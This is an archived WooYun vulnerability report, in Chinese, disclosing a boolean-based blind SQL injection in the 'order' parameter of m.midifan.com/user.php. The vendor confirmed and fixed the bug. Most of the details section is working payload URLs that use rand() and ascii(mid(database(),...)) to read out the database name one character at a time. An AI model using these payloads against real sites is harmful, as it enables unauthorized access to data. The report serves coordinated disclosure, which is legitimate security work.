当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0152570
漏洞标题：
Midifan某站存在SQL注入漏洞(Order by后的注入)
相关厂商：
midifan.com
漏洞作者：
深度安全实验室
提交时间：
2015-11-09 10:54
修复时间：
2015-11-29 01:15
公开时间：
2015-11-29 01:15
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
厂商已经修复
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-11-09： 细节已通知厂商并且等待厂商处理中
2015-11-09： 厂商已经确认，细节仅向厂商公开
2015-11-19： 细节向核心白帽子及相关领域专家公开
2015-11-29： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

详细说明：

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)


http://m.midifan.com/user.php?order=rand(1=1)

为真时，有一张头像，下面有汉字“向日葵”

11.png

http://m.midifan.com/user.php?order=rand(1=2)

为假时，图片变成了一坨黑不拉几的东西，下面的汉字是“抽烟筒专卖”

33.png


#

http://m.midifan.com/user.php?order=rand(length(database())=7)

db长度为7：

44.png


#db第一位为m(ascii:109)http://m.midifan.com/user.php?order=rand(ascii(mid(database(),1,1))=109)

66.png


##db第二位为i(ascii:105)http://m.midifan.com/user.php?order=rand(ascii(mid(database(),2,1))=105)
##db第三位为d(ascii:100)http://m.midifan.com/user.php?order=rand(ascii(mid(database(),3,1))=100)
##db第四位为i(ascii:105)http://m.midifan.com/user.php?order=rand(ascii(mid(database(),4,1))=105)
##db第五位为f(ascii:102)http://m.midifan.com/user.php?order=rand(ascii(mid(database(),5,1))=102)
##db第六位为a(ascii:97)http://m.midifan.com/user.php?order=rand(ascii(mid(database(),6,1))=97)
##db第七位为n(ascii:110)http://m.midifan.com/user.php?order=rand(ascii(mid(database(),7,1))=110)
DB为：midifan

漏洞证明：

修复方案：

非常经典的注入，求多给点rank~

版权声明：转载请注明来源 深度安全实验室@乌云

>

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-11-09 10:58

厂商回复：

多谢，正在修复

最新状态：

2015-11-29：已经修复